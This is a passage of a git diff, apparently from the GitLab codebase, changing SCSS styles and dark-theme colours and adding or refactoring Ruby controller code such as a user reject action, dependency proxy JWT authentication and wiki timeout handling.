@@ -287,10 +283,6 @@ $mr-widget-min-height: 69px;
margin-top: 0;
margin-bottom: 0;
- &.has-conflicts .fa-exclamation-triangle {
- color: $orange-500;
- }
-
time {
font-weight: $gl-font-weight-normal;
}
@@ -343,13 +335,6 @@ $mr-widget-min-height: 69px;
}
}
- .dropdown-toggle {
- .fa {
- margin-left: 0;
- color: inherit;
- }
- }
-
.has-custom-error {
display: inline-block;
}
@@ -507,19 +492,6 @@ $mr-widget-min-height: 69px;
display: none;
}
-#modal_merge_info .modal-dialog {
- .dark {
- margin-right: 40px;
- }
-
- .btn-clipboard {
- margin-right: 20px;
- margin-top: 5px;
- position: absolute;
- right: 0;
- }
-}
-
.mr-links {
padding-left: $gl-padding-8 + $status-icon-size + $gl-btn-padding;
@@ -560,16 +532,13 @@ $mr-widget-min-height: 69px;
border-radius: $border-radius-default;
padding: $gl-padding;
border: 1px solid $border-color;
+ background: var(--white, $white);
min-height: $mr-widget-min-height;
@include media-breakpoint-up(md) {
align-items: center;
}
- .dropdown-toggle .fa {
- color: $gl-text-color;
- }
-
.git-merge-container {
justify-content: space-between;
flex: 1;
@@ -720,7 +689,7 @@ $mr-widget-min-height: 69px;
z-index: 199;
white-space: nowrap;
- .dropdown-menu-toggle {
+ .gl-dropdown-toggle {
width: auto;
max-width: 170px;
@@ -778,7 +747,7 @@ $mr-widget-min-height: 69px;
.epic-tabs-holder {
top: $header-height;
z-index: 250;
- background-color: $white;
+ background-color: $body-bg;
border-bottom: 1px solid $border-color;
.with-system-header & {
@@ -1039,3 +1008,11 @@ $mr-widget-min-height: 69px;
.diff-file-row.is-active {
background-color: $gray-50;
}
+
+.mr-conflict-loader {
+ max-width: 334px;
+
+ > svg {
+ vertical-align: middle;
+ }
+}
diff --git a/app/assets/stylesheets/pages/notes.scss b/app/assets/stylesheets/pages/notes.scss
index e23ec25a2f3..4216091e8a9 100644
--- a/app/assets/stylesheets/pages/notes.scss
+++ b/app/assets/stylesheets/pages/notes.scss
@@ -190,8 +190,7 @@ $note-form-margin-left: 72px;
border: 1px solid darken($gray-100, 25%);
}
- .note-headline-light,
- .fa-spinner {
+ .note-headline-light {
margin-left: 3px;
}
}
@@ -249,16 +248,6 @@ $note-form-margin-left: 72px;
.note-emoji-button {
position: relative;
line-height: 1;
-
- .fa-spinner {
- display: none;
- }
-
- &.is-loading {
- .fa-spinner {
- display: inline-block;
- }
- }
}
}
@@ -361,7 +350,7 @@ $note-form-margin-left: 72px;
left: $gl-padding-24;
right: 0;
bottom: 0;
- background: linear-gradient(rgba($white, 0.1) -100px, $white 100%);
+ background: linear-gradient(rgba($white, 0.1) -100px, $body-bg 100%);
}
}
}
@@ -407,8 +396,6 @@ $note-form-margin-left: 72px;
.discussion-body .diff-file {
.file-title {
cursor: default;
- line-height: 42px;
- padding: 0 $gl-padding;
border-top: 1px solid $border-color;
border-radius: 0;
@@ -791,13 +778,6 @@ $note-form-margin-left: 72px;
outline: none;
color: $blue-600;
}
-
- .fa {
- margin-right: 3px;
- font-size: 10px;
- line-height: 18px;
- vertical-align: top;
- }
}
.note-role {
diff --git a/app/assets/stylesheets/pages/notifications.scss b/app/assets/stylesheets/pages/notifications.scss
index e1cbf0e6654..33ab42b5511 100644
--- a/app/assets/stylesheets/pages/notifications.scss
+++ b/app/assets/stylesheets/pages/notifications.scss
@@ -1,6 +1,4 @@
.notification-list-item {
- line-height: 34px;
-
.dropdown-menu {
@extend .dropdown-menu-right;
}
@@ -37,8 +35,4 @@
.notification {
position: relative;
top: 1px;
-
- .fa {
- font-size: 18px;
- }
}
diff --git a/app/assets/stylesheets/pages/pipelines.scss b/app/assets/stylesheets/pages/pipelines.scss
index b37aa6cd285..89be1c024db 100644
--- a/app/assets/stylesheets/pages/pipelines.scss
+++ b/app/assets/stylesheets/pages/pipelines.scss
@@ -46,11 +46,6 @@
fill: $gl-text-color;
}
- .fa {
- font-size: 12px;
- color: $gl-text-color;
- }
-
.commit-sha {
color: $blue-600;
}
diff --git a/app/assets/stylesheets/pages/projects.scss b/app/assets/stylesheets/pages/projects.scss
index 09501d3713d..7fafd28be56 100644
--- a/app/assets/stylesheets/pages/projects.scss
+++ b/app/assets/stylesheets/pages/projects.scss
@@ -10,12 +10,6 @@
}
.input-group {
- .select2-container {
- display: unset;
- max-width: unset;
- flex-grow: 1;
- }
-
> div {
&:last-child {
padding-right: 0;
@@ -52,7 +46,6 @@
flex-grow: 1;
}
- + .select2 a,
+ .btn-default {
border-radius: 0 $border-radius-base $border-radius-base 0;
}
@@ -147,23 +140,10 @@
margin-left: 0;
}
- .fa {
- color: $layout-link-gray;
- }
-
svg {
fill: $layout-link-gray;
}
- .fa-caret-down {
- margin-left: 3px;
- line-height: 0;
-
- &.dropdown-btn-icon {
- margin-left: 0;
- }
- }
-
.notifications-icon {
top: 1px;
margin-right: 0;
@@ -179,13 +159,6 @@
height: 24px;
}
- .dropdown-toggle,
- .clone-dropdown-btn {
- .fa {
- color: unset;
- }
- }
-
.home-panel-action-button,
.project-action-button {
margin: $gl-padding $gl-padding-8 0 0;
@@ -258,10 +231,6 @@
color: $gray-700;
}
-.transfer-project .select2-container {
- min-width: 200px;
-}
-
.deploy-key {
// Ensure that the fingerprint does not overflow on small screens
.fingerprint {
@@ -512,7 +481,7 @@
top: 0;
height: calc(100% - #{$browser-scrollbar-size});
- .fa {
+ svg {
top: 50%;
margin-top: -$gl-padding-8;
}
@@ -1057,11 +1026,6 @@ pre.light-well {
margin-bottom: 0;
}
}
-
- .select2-choice {
- border-top-right-radius: 0;
- border-bottom-right-radius: 0;
- }
}
.project-home-empty {
diff --git a/app/assets/stylesheets/pages/runners.scss b/app/assets/stylesheets/pages/runners.scss
index 8ed6936475b..856e49bd144 100644
--- a/app/assets/stylesheets/pages/runners.scss
+++ b/app/assets/stylesheets/pages/runners.scss
@@ -12,16 +12,18 @@
}
}
-.runner-status-online {
- color: $green-600;
-}
+.runner-status {
+ &.runner-status-online {
+ background-color: $green-600;
+ }
-.runner-status-offline {
- color: $gray-darkest;
-}
+ &.runner-status-offline {
+ background-color: $gray-darkest;
+ }
-.runner-status-paused {
- color: $red-500;
+ &.runner-status-paused {
+ background-color: $red-500;
+ }
}
.runner {
diff --git a/app/assets/stylesheets/pages/search.scss b/app/assets/stylesheets/pages/search.scss
index 502a1881fd2..cd99c667001 100644
--- a/app/assets/stylesheets/pages/search.scss
+++ b/app/assets/stylesheets/pages/search.scss
@@ -1,5 +1,7 @@
$search-dropdown-max-height: 400px;
$search-avatar-size: 16px;
+$search-sidebar-min-width: 240px;
+$search-sidebar-max-width: 300px;
.search-results {
.search-result-row {
@@ -17,6 +19,13 @@ $search-avatar-size: 16px;
}
}
+.search-sidebar {
+ @include media-breakpoint-up(md) {
+ min-width: $search-sidebar-min-width;
+ max-width: $search-sidebar-max-width;
+ }
+}
+
.search form:hover,
.file-finder-input:hover,
.issuable-search-form:hover,
diff --git a/app/assets/stylesheets/pages/settings.scss b/app/assets/stylesheets/pages/settings.scss
index 7b18e3774d8..335e177d169 100644
--- a/app/assets/stylesheets/pages/settings.scss
+++ b/app/assets/stylesheets/pages/settings.scss
@@ -169,11 +169,6 @@
.form-check {
margin-bottom: 10px;
- i.fa {
- margin: 2px 0;
- font-size: 20px;
- }
-
.option-title {
font-weight: $gl-font-weight-normal;
display: inline-block;
@@ -193,7 +188,7 @@
}
&.disabled {
- i.fa {
+ svg {
opacity: 0.5;
}
diff --git a/app/assets/stylesheets/pages/tree.scss b/app/assets/stylesheets/pages/tree.scss
index 429181c2ad4..8f3574a337b 100644
--- a/app/assets/stylesheets/pages/tree.scss
+++ b/app/assets/stylesheets/pages/tree.scss
@@ -1,8 +1,11 @@
+.project-last-commit {
+ min-height: 4.75rem;
+}
+
.tree-holder {
.nav-block {
margin: 16px 0;
- .btn .fa,
.btn svg {
color: $gl-text-color-secondary;
}
@@ -69,7 +72,7 @@
}
.btn {
- margin: 10px 0 0;
+ margin-top: 10px;
}
}
}
diff --git a/app/assets/stylesheets/startup/startup-signin.scss b/app/assets/stylesheets/startup/startup-signin.scss
index b3e53e35f6e..af43c532b7c 100644
--- a/app/assets/stylesheets/startup/startup-signin.scss
+++ b/app/assets/stylesheets/startup/startup-signin.scss
@@ -977,12 +977,12 @@ body.navless {
border-color: #e3e3e3;
color: #303030;
}
-.btn.btn-success, .btn.btn-register {
+.btn.btn-success {
background-color: #108548;
border-color: #217645;
color: #fff;
}
-.btn.btn-success:active, .btn.btn-success.active, .btn.btn-register:active, .btn.btn-register.active {
+.btn.btn-success:active, .btn.btn-success.active {
box-shadow: rgba(0, 0, 0, 0.16);
background-color: #24663b;
border-color: #0d532a;
diff --git a/app/assets/stylesheets/themes/_dark.scss b/app/assets/stylesheets/themes/_dark.scss
index 6ab02bd5e27..7f2bea9bf26 100644
--- a/app/assets/stylesheets/themes/_dark.scss
+++ b/app/assets/stylesheets/themes/_dark.scss
@@ -1,63 +1,63 @@
$gray-10: #1f1f1f;
-$gray-50: #2e2e2e;
-$gray-100: #4f4f4f;
-$gray-200: #707070;
-$gray-300: #919191;
-$gray-400: #a7a7a7;
-$gray-500: #bababa;
-$gray-600: #ccc;
-$gray-700: #dfdfdf;
-$gray-800: #f2f2f2;
+$gray-50: #303030;
+$gray-100: #404040;
+$gray-200: #525252;
+$gray-300: #5e5e5e;
+$gray-400: #868686;
+$gray-500: #999;
+$gray-600: #bfbfbf;
+$gray-700: #dbdbdb;
+$gray-800: #f0f0f0;
$gray-900: #fafafa;
$gray-950: #fff;
-$green-50: #072b15;
-$green-100: #0a4020;
-$green-200: #0e5a2d;
-$green-300: #12753a;
-$green-400: #168f48;
-$green-500: #1aaa55;
-$green-600: #37b96d;
-$green-700: #75d09b;
-$green-800: #b3e6c8;
-$green-900: #dcf5e7;
+$green-50: #0a4020;
+$green-100: #0d532a;
+$green-200: #24663b;
+$green-300: #217645;
+$green-400: #108548;
+$green-500: #2da160;
+$green-600: #52b87a;
+$green-700: #91d4a8;
+$green-800: #c3e6cd;
+$green-900: #ecf4ee;
$green-950: #f1fdf6;
-$blue-50: #0a2744;
-$blue-100: #0f3b66;
-$blue-200: #134a81;
-$blue-300: #17599c;
-$blue-400: #1b69b6;
-$blue-500: #1f78d1;
-$blue-600: #418cd8;
-$blue-700: #73afea;
-$blue-800: #b8d6f4;
-$blue-900: #e4f0fb;
-$blue-950: #f6fafe;
-
-$orange-50: #592800;
-$orange-100: #853c00;
-$orange-200: #a35200;
-$orange-300: #c26700;
-$orange-400: #de7e00;
-$orange-500: #fc9403;
-$orange-600: #fca429;
-$orange-700: #fdbc60;
-$orange-800: #fed69f;
-$orange-900: #fff1de;
-$orange-950: #fffaf4;
-
-$red-50: #4b140b;
-$red-100: #711e11;
-$red-200: #8b2615;
-$red-300: #a62d19;
-$red-400: #c0341d;
-$red-500: #db3b21;
-$red-600: #e05842;
-$red-700: #ea8271;
-$red-800: #f2b4a9;
-$red-900: #fbe5e1;
-$red-950: #fef6f5;
+$blue-50: #033464;
+$blue-100: #064787;
+$blue-200: #0b5cad;
+$blue-300: #1068bf;
+$blue-400: #1f75cb;
+$blue-500: #428fdc;
+$blue-600: #63a6e9;
+$blue-700: #9dc7f1;
+$blue-800: #cbe2f9;
+$blue-900: #e9f3fc;
+$blue-950: #f2f9ff;
+
+$orange-50: #5c2900;
+$orange-100: #703800;
+$orange-200: #8f4700;
+$orange-300: #9e5400;
+$orange-400: #ab6100;
+$orange-500: #c17d10;
+$orange-600: #d99530;
+$orange-700: #e9be74;
+$orange-800: #f5d9a8;
+$orange-900: #fdf1dd;
+$orange-950: #fff4e1;
+
+$red-50: #660e00;
+$red-100: #8d1300;
+$red-200: #ae1800;
+$red-300: #c91c00;
+$red-400: #dd2b0e;
+$red-500: #ec5941;
+$red-600: #f57f6c;
+$red-700: #fcb5aa;
+$red-800: #fdd4cd;
+$red-900: #fcf1ef;
+$red-950: #fff4f3;
$indigo-50: #1a1a40;
$indigo-100: #292961;
@@ -166,14 +166,16 @@ body.gl-dark {
--white: #{$white};
--black: #{$black};
+
+ --svg-status-bg: #{$white};
}
$border-white-light: $gray-900;
$border-white-normal: $gray-900;
-$body-bg: $gray-50;
-$input-bg: $gray-100;
-$input-focus-bg: $gray-100;
+$body-bg: $gray-10;
+$input-bg: $white;
+$input-focus-bg: $white;
$input-color: $gray-900;
$input-group-addon-bg: $gray-900;
diff --git a/app/assets/stylesheets/themes/theme_helper.scss b/app/assets/stylesheets/themes/theme_helper.scss
index 85115cfd5d9..417377b514e 100644
--- a/app/assets/stylesheets/themes/theme_helper.scss
+++ b/app/assets/stylesheets/themes/theme_helper.scss
@@ -64,14 +64,20 @@
color: $search-and-nav-links;
> a {
+ .notification-dot {
+ border: 2px solid $nav-svg-color;
+ }
+
+ &.header-help-dropdown-toggle {
+ .notification-dot {
+ background-color: $search-and-nav-links;
+ }
+ }
+
&.header-user-dropdown-toggle {
.header-user-avatar {
border-color: $search-and-nav-links;
}
-
- .header-user-notification-dot {
- border: 2px solid $nav-svg-color;
- }
}
&:hover,
@@ -84,9 +90,14 @@
fill: currentColor;
}
- &.header-user-dropdown-toggle .header-user-notification-dot {
+ .notification-dot {
+ will-change: border-color, background-color;
border-color: $nav-svg-color + 33;
}
+
+ &.header-help-dropdown-toggle .notification-dot {
+ background-color: $white;
+ }
}
}
@@ -101,9 +112,15 @@
}
}
- &.header-user-dropdown-toggle .header-user-notification-dot {
+ .notification-dot {
border-color: $white;
}
+
+ &.header-help-dropdown-toggle {
+ .notification-dot {
+ background-color: $nav-svg-color;
+ }
+ }
}
.impersonated-user,
diff --git a/app/assets/stylesheets/utilities.scss b/app/assets/stylesheets/utilities.scss
index a3bb7c868df..bf251993c38 100644
--- a/app/assets/stylesheets/utilities.scss
+++ b/app/assets/stylesheets/utilities.scss
@@ -129,3 +129,30 @@
content: '';
display: flex;
}
+
+// Will be moved to @gitlab/ui in https://gitlab.com/gitlab-org/gitlab-ui/-/issues/1085
+.gl-md-flex-direction-column {
+ @media (min-width: $breakpoint-md) {
+ flex-direction: column;
+ }
+}
+
+// Same as above
+.gl-md-flex-direction-column\! {
+ @media (min-width: $breakpoint-md) {
+ flex-direction: column !important;
+ }
+}
+
+// These will be moved to @gitlab/ui in https://gitlab.com/gitlab-org/gitlab-ui/-/issues/1091
+.gl-w-10p {
+ width: 10%;
+}
+
+.gl-w-20p {
+ width: 20%;
+}
+
+.gl-w-40p {
+ width: 40%;
+}
diff --git a/app/controllers/admin/cohorts_controller.rb b/app/controllers/admin/cohorts_controller.rb
index d5cd9c55422..a26dc554506 100644
--- a/app/controllers/admin/cohorts_controller.rb
+++ b/app/controllers/admin/cohorts_controller.rb
@@ -5,7 +5,7 @@ class Admin::CohortsController < Admin::ApplicationController
track_unique_visits :index, target_id: 'i_analytics_cohorts'
- feature_category :instance_statistics
+ feature_category :devops_reports
def index
if Gitlab::CurrentSettings.usage_ping_enabled
diff --git a/app/controllers/admin/dashboard_controller.rb b/app/controllers/admin/dashboard_controller.rb
index 33a8cc4ae42..da89276f5eb 100644
--- a/app/controllers/admin/dashboard_controller.rb
+++ b/app/controllers/admin/dashboard_controller.rb
@@ -2,7 +2,6 @@
class Admin::DashboardController < Admin::ApplicationController
include CountHelper
- helper_method :show_license_breakdown?
COUNTED_ITEMS = [Project, User, Group].freeze
@@ -23,10 +22,6 @@ class Admin::DashboardController < Admin::ApplicationController
def stats
@users_statistics = UsersStatistics.latest
end
-
- def show_license_breakdown?
- false
- end
end
Admin::DashboardController.prepend_if_ee('EE::Admin::DashboardController')
diff --git a/app/controllers/admin/instance_review_controller.rb b/app/controllers/admin/instance_review_controller.rb
index db304c82dd6..88ca2c88aab 100644
--- a/app/controllers/admin/instance_review_controller.rb
+++ b/app/controllers/admin/instance_review_controller.rb
@@ -1,6 +1,6 @@
# frozen_string_literal: true
class Admin::InstanceReviewController < Admin::ApplicationController
- feature_category :instance_statistics
+ feature_category :devops_reports
def index
redirect_to("#{::Gitlab::SubscriptionPortal::SUBSCRIPTIONS_URL}/instance_review?#{instance_review_params}")
diff --git a/app/controllers/admin/instance_statistics_controller.rb b/app/controllers/admin/instance_statistics_controller.rb
index 05a0a1ce314..30891fcfe7c 100644
--- a/app/controllers/admin/instance_statistics_controller.rb
+++ b/app/controllers/admin/instance_statistics_controller.rb
@@ -7,7 +7,7 @@ class Admin::InstanceStatisticsController < Admin::ApplicationController
track_unique_visits :index, target_id: 'i_analytics_instance_statistics'
- feature_category :instance_statistics
+ feature_category :devops_reports
def index
end
diff --git a/app/controllers/admin/integrations_controller.rb b/app/controllers/admin/integrations_controller.rb
index aab8705f5cb..4247446365c 100644
--- a/app/controllers/admin/integrations_controller.rb
+++ b/app/controllers/admin/integrations_controller.rb
@@ -4,6 +4,8 @@ class Admin::IntegrationsController < Admin::ApplicationController
include IntegrationsActions
include ServicesHelper
+ before_action :not_found, unless: -> { instance_level_integrations? }
+
feature_category :integrations
private
@@ -12,10 +14,6 @@ class Admin::IntegrationsController < Admin::ApplicationController
Service.find_or_initialize_non_project_specific_integration(name, instance: true)
end
- def integrations_enabled?
- instance_level_integrations?
- end
-
def scoped_edit_integration_path(integration)
edit_admin_application_settings_integration_path(integration)
end
diff --git a/app/controllers/admin/users_controller.rb b/app/controllers/admin/users_controller.rb
index 2d0bb0bfebc..3fe972d1917 100644
--- a/app/controllers/admin/users_controller.rb
+++ b/app/controllers/admin/users_controller.rb
@@ -72,6 +72,16 @@ class Admin::UsersController < Admin::ApplicationController
end
end
+ def reject
+ result = Users::RejectService.new(current_user).execute(user)
+
+ if result[:status] == :success
+ redirect_to admin_users_path, status: :found, notice: _("You've rejected %{user}" % { user: user.name })
+ else
+ redirect_back_or_admin_user(alert: result[:message])
+ end
+ end
+
def activate
return redirect_back_or_admin_user(notice: _("Error occurred. A blocked user must be unblocked to be activated")) if user.blocked?
diff --git a/app/controllers/application_controller.rb b/app/controllers/application_controller.rb
index c38c6abddc1..b78029a52cd 100644
--- a/app/controllers/application_controller.rb
+++ b/app/controllers/application_controller.rb
@@ -61,8 +61,7 @@ class ApplicationController < ActionController::Base
:gitea_import_enabled?, :github_import_configured?,
:gitlab_import_enabled?, :gitlab_import_configured?,
:bitbucket_import_enabled?, :bitbucket_import_configured?,
- :bitbucket_server_import_enabled?,
- :google_code_import_enabled?, :fogbugz_import_enabled?,
+ :bitbucket_server_import_enabled?, :fogbugz_import_enabled?,
:git_import_enabled?, :gitlab_project_import_enabled?,
:manifest_import_enabled?, :phabricator_import_enabled?
@@ -434,10 +433,6 @@ class ApplicationController < ActionController::Base
Gitlab::Auth::OAuth::Provider.enabled?(:bitbucket)
end
- def google_code_import_enabled?
- Gitlab::CurrentSettings.import_sources.include?('google_code')
- end
-
def fogbugz_import_enabled?
Gitlab::CurrentSettings.import_sources.include?('fogbugz')
end
diff --git a/app/controllers/boards/lists_controller.rb b/app/controllers/boards/lists_controller.rb
index aecd287370f..19a4508c061 100644
--- a/app/controllers/boards/lists_controller.rb
+++ b/app/controllers/boards/lists_controller.rb
@@ -19,12 +19,12 @@ module Boards
end
def create
- list = Boards::Lists::CreateService.new(board.resource_parent, current_user, create_list_params).execute(board)
+ response = Boards::Lists::CreateService.new(board.resource_parent, current_user, create_list_params).execute(board)
- if list.valid?
- render json: serialize_as_json(list)
+ if response.success?
+ render json: serialize_as_json(response.payload[:list])
else
- render json: list.errors, status: :unprocessable_entity
+ render json: { errors: response.errors }, status: :unprocessable_entity
end
end
diff --git a/app/controllers/concerns/dependency_proxy/auth.rb b/app/controllers/concerns/dependency_proxy/auth.rb
new file mode 100644
index 00000000000..1276feedba6
--- /dev/null
+++ b/app/controllers/concerns/dependency_proxy/auth.rb
@@ -0,0 +1,43 @@
+# frozen_string_literal: true
+
+module DependencyProxy
+ module Auth
+ extend ActiveSupport::Concern
+
+ included do
+ # We disable `authenticate_user!` since the `DependencyProxy::Auth` performs auth using JWT token
+ skip_before_action :authenticate_user!, raise: false
+ prepend_before_action :authenticate_user_from_jwt_token!
+ end
+
+ def authenticate_user_from_jwt_token!
+ return unless dependency_proxy_for_private_groups?
+
+ authenticate_with_http_token do |token, _|
+ user = user_from_token(token)
+ sign_in(user) if user
+ end
+
+ request_bearer_token! unless current_user
+ end
+
+ private
+
+ def dependency_proxy_for_private_groups?
+ Feature.enabled?(:dependency_proxy_for_private_groups, default_enabled: true)
+ end
+
+ def request_bearer_token!
+ # unfortunately, we cannot use https://api.rubyonrails.org/classes/ActionController/HttpAuthentication/Token.html#method-i-authentication_request
+ response.headers['WWW-Authenticate'] = ::DependencyProxy::Registry.authenticate_header
+ render plain: '', status: :unauthorized
+ end
+
+ def user_from_token(token)
+ token_payload = DependencyProxy::AuthTokenService.decoded_token_payload(token)
+ User.find(token_payload['user_id'])
+ rescue JWT::DecodeError, JWT::ExpiredSignature, JWT::ImmatureSignature
+ nil
+ end
+ end
+end
diff --git a/app/controllers/concerns/dependency_proxy/group_access.rb b/app/controllers/concerns/dependency_proxy/group_access.rb
new file mode 100644
index 00000000000..2a923d02752
--- /dev/null
+++ b/app/controllers/concerns/dependency_proxy/group_access.rb
@@ -0,0 +1,26 @@
+# frozen_string_literal: true
+
+module DependencyProxy
+ module GroupAccess
+ extend ActiveSupport::Concern
+
+ included do
+ before_action :verify_dependency_proxy_enabled!
+ before_action :authorize_read_dependency_proxy!
+ end
+
+ private
+
+ def verify_dependency_proxy_enabled!
+ render_404 unless group.dependency_proxy_feature_available?
+ end
+
+ def authorize_read_dependency_proxy!
+ access_denied! unless can?(current_user, :read_dependency_proxy, group)
+ end
+
+ def authorize_admin_dependency_proxy!
+ access_denied! unless can?(current_user, :admin_dependency_proxy, group)
+ end
+ end
+end
diff --git a/app/controllers/concerns/dependency_proxy_access.rb b/app/controllers/concerns/dependency_proxy_access.rb
deleted file mode 100644
index 5036d0cfce4..00000000000
--- a/app/controllers/concerns/dependency_proxy_access.rb
+++ /dev/null
@@ -1,24 +0,0 @@
-# frozen_string_literal: true
-
-module DependencyProxyAccess
- extend ActiveSupport::Concern
-
- included do
- before_action :verify_dependency_proxy_enabled!
- before_action :authorize_read_dependency_proxy!
- end
-
- private
-
- def verify_dependency_proxy_enabled!
- render_404 unless group.dependency_proxy_feature_available?
- end
-
- def authorize_read_dependency_proxy!
- access_denied! unless can?(current_user, :read_dependency_proxy, group)
- end
-
- def authorize_admin_dependency_proxy!
- access_denied! unless can?(current_user, :admin_dependency_proxy, group)
- end
-end
diff --git a/app/controllers/concerns/integrations_actions.rb b/app/controllers/concerns/integrations_actions.rb
index 8e9b038437d..baebedb8e5d 100644
--- a/app/controllers/concerns/integrations_actions.rb
+++ b/app/controllers/concerns/integrations_actions.rb
@@ -6,7 +6,6 @@ module IntegrationsActions
included do
include ServiceParams
- before_action :not_found, unless: :integrations_enabled?
before_action :integration, only: [:edit, :update, :test]
end
@@ -43,12 +42,16 @@ module IntegrationsActions
render json: {}, status: :ok
end
- private
+ def reset
+ integration.destroy!
+
+ flash[:notice] = s_('Integrations|This integration, and inheriting projects were reset.')
- def integrations_enabled?
- false
+ render json: {}, status: :ok
end
+ private
+
def integration
# Using instance variable `@service` still required as it's used in ServiceParams.
# Should be removed once that is refactored to use `@integration`.
diff --git a/app/controllers/concerns/issuable_collections.rb b/app/controllers/concerns/issuable_collections.rb
index 0d7af57328a..3f5f3b6e9df 100644
--- a/app/controllers/concerns/issuable_collections.rb
+++ b/app/controllers/concerns/issuable_collections.rb
@@ -150,7 +150,7 @@ module IssuableCollections
common_attributes + [:project, project: :namespace]
when 'MergeRequest'
common_attributes + [
- :target_project, :latest_merge_request_diff, :approvals, :approved_by_users,
+ :target_project, :latest_merge_request_diff, :approvals, :approved_by_users, :reviewers,
source_project: :route, head_pipeline: :project, target_project: :namespace
]
end
diff --git a/app/controllers/concerns/service_params.rb b/app/controllers/concerns/service_params.rb
index a19c43a227a..c295290a123 100644
--- a/app/controllers/concerns/service_params.rb
+++ b/app/controllers/concerns/service_params.rb
@@ -23,6 +23,9 @@ module ServiceParams
:comment_detail,
:confidential_issues_events,
:confluence_url,
+ :datadog_site,
+ :datadog_env,
+ :datadog_service,
:default_irc_uri,
:device,
:disable_diffs,
diff --git a/app/controllers/concerns/snippets_actions.rb b/app/controllers/concerns/snippets_actions.rb
index 0153ede2821..c93e75b438b 100644
--- a/app/controllers/concerns/snippets_actions.rb
+++ b/app/controllers/concerns/snippets_actions.rb
@@ -9,11 +9,14 @@ module SnippetsActions
include Gitlab::NoteableMetadata
include Snippets::SendBlob
include SnippetsSort
+ include RedisTracking
included do
skip_before_action :verify_authenticity_token,
if: -> { action_name == 'show' && js_request? }
+ track_redis_hll_event :show, name: 'i_snippets_show', feature: :usage_data_i_snippets_show, feature_default_enabled: true
+
respond_to :html
end
diff --git a/app/controllers/concerns/sorting_preference.rb b/app/controllers/concerns/sorting_preference.rb
index a51b68147d5..8d8845e2f41 100644
--- a/app/controllers/concerns/sorting_preference.rb
+++ b/app/controllers/concerns/sorting_preference.rb
@@ -4,8 +4,11 @@ module SortingPreference
include SortingHelper
include CookiesHelper
- def set_sort_order
- set_sort_order_from_user_preference || set_sort_order_from_cookie || params[:sort] || default_sort_order
+ def set_sort_order(field = sorting_field, default_order = default_sort_order)
+ set_sort_order_from_user_preference(field) ||
+ set_sort_order_from_cookie(field) ||
+ params[:sort] ||
+ default_order
end
# Implement sorting_field method on controllers
@@ -29,42 +32,42 @@ module SortingPreference
private
- def set_sort_order_from_user_preference
+ def set_sort_order_from_user_preference(field = sorting_field)
return unless current_user
- return unless sorting_field
+ return unless field
user_preference = current_user.user_preference
sort_param = params[:sort]
- sort_param ||= user_preference[sorting_field]
+ sort_param ||= user_preference[field]
return sort_param if Gitlab::Database.read_only?
- if user_preference[sorting_field] != sort_param
- user_preference.update(sorting_field => sort_param)
+ if user_preference[field] != sort_param
+ user_preference.update(field => sort_param)
end
sort_param
end
- def set_sort_order_from_cookie
+ def set_sort_order_from_cookie(field = sorting_field)
return unless legacy_sort_cookie_name
sort_param = params[:sort] if params[:sort].present?
# fallback to legacy cookie value for backward compatibility
sort_param ||= cookies[legacy_sort_cookie_name]
- sort_param ||= cookies[remember_sorting_key]
+ sort_param ||= cookies[remember_sorting_key(field)]
sort_value = update_cookie_value(sort_param)
- set_secure_cookie(remember_sorting_key, sort_value)
+ set_secure_cookie(remember_sorting_key(field), sort_value)
sort_value
end
# Convert sorting_field to legacy cookie name for backwards compatibility
# :merge_requests_sort => 'mergerequest_sort'
# :issues_sort => 'issue_sort'
- def remember_sorting_key
- @remember_sorting_key ||= sorting_field
+ def remember_sorting_key(field = sorting_field)
+ @remember_sorting_key ||= field
.to_s
.split('_')[0..-2]
.map(&:singularize)
diff --git a/app/controllers/concerns/wiki_actions.rb b/app/controllers/concerns/wiki_actions.rb
index 6abb2e16226..1ae90edd8f7 100644
--- a/app/controllers/concerns/wiki_actions.rb
+++ b/app/controllers/concerns/wiki_actions.rb
@@ -8,6 +8,8 @@ module WikiActions
include RedisTracking
extend ActiveSupport::Concern
+ RESCUE_GIT_TIMEOUTS_IN = %w[show edit history diff pages].freeze
+
included do
before_action { respond_to :html }
@@ -38,6 +40,12 @@ module WikiActions
feature: :track_unique_wiki_page_views, feature_default_enabled: true
helper_method :view_file_button, :diff_file_html_data
+
+ rescue_from ::Gitlab::Git::CommandTimedOut do |exc|
+ raise exc unless RESCUE_GIT_TIMEOUTS_IN.include?(action_name)
+
+ render 'shared/wikis/git_error'
+ end
end
def new
@@ -46,11 +54,7 @@ module WikiActions
# rubocop:disable Gitlab/ModuleWithInstanceVariables
def pages
- @wiki_pages = Kaminari.paginate_array(
- wiki.list_pages(sort: params[:sort], direction: params[:direction])
- ).page(params[:page])
-
- @wiki_entries = WikiDirectory.group_pages(@wiki_pages)
+ @wiki_entries = WikiDirectory.group_pages(wiki_pages)
render 'shared/wikis/pages'
end
@@ -182,6 +186,10 @@ module WikiActions
end
# rubocop:enable Gitlab/ModuleWithInstanceVariables
+ def git_access
+ render 'shared/wikis/git_access'
+ end
+
private
def container
@@ -225,9 +233,19 @@ module WikiActions
unless @sidebar_page # Fallback to default sidebar
@sidebar_wiki_entries, @sidebar_limited = wiki.sidebar_entries
end
+ rescue ::Gitlab::Git::CommandTimedOut => e
+ @sidebar_error = e
end
# rubocop:enable Gitlab/ModuleWithInstanceVariables
+ def wiki_pages
+ strong_memoize(:wiki_pages) do
+ Kaminari.paginate_array(
+ wiki.list_pages(sort: params[:sort], direction: params[:direction])
+ ).page(params[:page])
+ end
+ end
+
def wiki_params
params.require(:wiki).permit(:title, :content, :format, :message, :last_commit_sha)
end
diff --git a/app/controllers/concerns/workhorse_authorization.rb b/app/controllers/concerns/workhorse_authorization.rb
new file mode 100644
index 00000000000..a290ba256b6
--- /dev/null
+++ b/app/controllers/concerns/workhorse_authorization.rb
@@ -0,0 +1,43 @@
+# frozen_string_literal: true
+
+module WorkhorseAuthorization
+ extend ActiveSupport::Concern
+ include WorkhorseRequest
+
+ included do
+ skip_before_action :verify_authenticity_token, only: %i[authorize]
+ before_action :verify_workhorse_api!, only: %i[authorize]
+ end
+
+ def authorize
+ set_workhorse_internal_api_content_type
+
+ authorized = uploader_class.workhorse_authorize(
+ has_length: false,
+ maximum_size: maximum_size.to_i)
+
+ render json: authorized
+ rescue SocketError
+ render json: _("Error uploading file"), status: :internal_server_error
+ end
+
+ private
+
+ def file_is_valid?(file)
+ return false unless file.is_a?(::UploadedFile)
+
+ file_extension_whitelist.include?(File.extname(file.original_filename).downcase.delete('.'))
+ end
+
+ def uploader_class
+ raise NotImplementedError
+ end
+
+ def maximum_size
+ raise NotImplementedError
+ end
+
+ def file_extension_whitelist
